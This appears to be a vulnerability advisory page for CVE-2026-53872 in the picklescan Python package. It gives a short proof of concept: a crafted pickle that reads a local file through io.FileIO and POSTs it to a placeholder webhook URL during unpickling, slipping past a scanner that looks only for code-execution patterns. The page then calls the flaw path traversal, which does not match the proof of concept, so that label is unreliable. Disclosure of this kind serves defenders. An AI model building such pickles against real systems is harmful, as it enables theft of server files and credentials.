CVE-2026-53872

Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.

Details

The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:

1. io.FileIO: Opens local files without using builtins.open.

2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.

3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.

PoC

import pickle, io, urllib.request

class GetFile:
    def __reduce__(self):
        return (io.FileIO, ('/etc/hosts', 'r'))

class Exfiltrate:
    def __reduce__(self):
        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))

with open("bypass_http.pkl", "wb") as f:
    pickle.dump(Exfiltrate(), f)

• Arbitrary file read

Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-53872 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.35); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-53872? CVE-2026-53872 is a high-severity path traversal vulnerability in picklescan (pip), affecting versions < 0.0.35. It is fixed in 0.0.35. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-53872? CVE-2026-53872 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of picklescan are affected by CVE-2026-53872? picklescan (pip) versions < 0.0.35 is affected.
4. Is there a fix for CVE-2026-53872? Yes. CVE-2026-53872 is fixed in 0.0.35. Upgrade to this version or later.
5. Is CVE-2026-53872 exploitable, and should I be worried? Whether CVE-2026-53872 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-53872 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-53872? Upgrade picklescan to 0.0.35 or later.